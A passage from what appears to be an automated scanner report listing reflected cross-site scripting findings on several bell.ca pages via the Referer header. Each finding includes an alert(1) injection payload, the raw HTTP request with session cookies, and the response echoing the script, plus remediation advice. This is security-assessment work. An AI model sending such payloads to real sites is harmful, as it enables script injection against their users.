The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 18c83'-alert(1)-'fcc939c2f32 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /specialneeds HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: http://www.google.com/search?hl=en&q=18c83'-alert(1)-'fcc939c2f32

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:08:15 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=dJTDMtGf9s1kdwQDZ1wDjngHbbbmRdTy8Vn3ZKdW36VX0QVJRSK7!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13771


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=18c83'-alert(1)-'fcc939c2f32';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.380. http://www.bell.ca/specialneeds/PrsSN_ContactUs.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /specialneeds/PrsSN_ContactUs.page

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cdb1c'-alert(1)-'369003eee26 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /specialneeds/PrsSN_ContactUs.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: http://www.google.com/search?hl=en&q=cdb1c'-alert(1)-'369003eee26

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:02:58 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=KtxTMtFCZW3dhpLkzvsqdYLGHDcNrpZQkM7yGd1p7m9W5fvQLQxJ!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13771


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=cdb1c'-alert(1)-'369003eee26';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.381. http://www.bell.ca/specialneeds/PrsSN_ContactUs.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /specialneeds/PrsSN_ContactUs.page

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 8c507--><script>alert(1)</script>d7946412cb6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /specialneeds/PrsSN_ContactUs.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: 8c507--><script>alert(1)</script>d7946412cb6

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:03:02 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Length: 11111
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=Ygb2MtFGXGdCl24jfwHrbj9yc9h5KNpM548s9WQS23QglpshhndV!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: 8c507--><script>alert(1)</script>d7946412cb6 -->

2.382. http://www.bell.ca/specialneeds/PrsSN_Landing.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /specialneeds/PrsSN_Landing.page

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 1e3d1--><script>alert(1)</script>93957848dad was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /specialneeds/PrsSN_Landing.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;
Referer: 1e3d1--><script>alert(1)</script>93957848dad

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:21:34 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Length: 11111
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=yTVgMsydYLs6rvw4McqLt3GCBYP5HCdCQGpwSSbhQL95xG1JhTRQ!-765054306; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: 1e3d1--><script>alert(1)</script>93957848dad -->

2.383. http://www.bell.ca/specialneeds/PrsSN_Landing.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /specialneeds/PrsSN_Landing.page

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 52b57'-alert(1)-'849075940a9 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /specialneeds/PrsSN_Landing.page HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;
Referer: http://www.google.com/search?hl=en&q=52b57'-alert(1)-'849075940a9

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:21:32 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=z3QTMsybGN4vv5WvWDxHSGHYLWll818MTJh0xR1xTs15sJJG2TGN!-765054306; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13771


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=52b57'-alert(1)-'849075940a9';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.384. http://www.bell.ca/support/PrsCSrvPns_FAQ_Pns.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/PrsCSrvPns_FAQ_Pns.page

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 82c22--><script>alert(1)</script>4b482daaccd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /support/PrsCSrvPns_FAQ_Pns.page?service=HomePhone HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: 82c22--><script>alert(1)</script>4b482daaccd

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:03:02 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Length: 11097
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=8kb8MtFDx0v3X6sHjNkpHWHlT2dlZkDpKDm00f2MrZRZ2c0kH6lp!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/support/framework/skins/content/conte
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: 82c22--><script>alert(1)</script>4b482daaccd -->

2.385. http://www.bell.ca/support/PrsCSrvPns_FAQ_Pns.page [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/PrsCSrvPns_FAQ_Pns.page

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 924f3'-alert(1)-'d59429f99ae was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /support/PrsCSrvPns_FAQ_Pns.page?service=HomePhone HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;
Referer: http://www.google.com/search?hl=en&q=924f3'-alert(1)-'d59429f99ae

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:02:45 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=2pHMMtFSDLH1KLyN4J6byGV1n8nV8yqhRvnMS36WGZQvfLVZntCh!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13751


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/support/framework/skins/content/conte
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=924f3'-alert(1)-'d59429f99ae';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.386. https://www.bell.ca/accessibilityservices [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /accessibilityservices

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 1a1d1--><script>alert(1)</script>b83d19322d9 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /accessibilityservices HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;
Referer: 1a1d1--><script>alert(1)</script>b83d19322d9

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:41:28 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Length: 11111
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=LmktMstLR2jghJy1FDJ8v2wGh9wW5xJnyqFjxfBthRKnkqC0phf3!-765054306; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
<!-- OmniTrack.jsp ignorred execution exception : java.net.MalformedURLException: no protocol: 1a1d1--><script>alert(1)</script>b83d19322d9 -->

2.387. https://www.bell.ca/accessibilityservices [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /accessibilityservices

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1f15f'-alert(1)-'e523aaffb1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

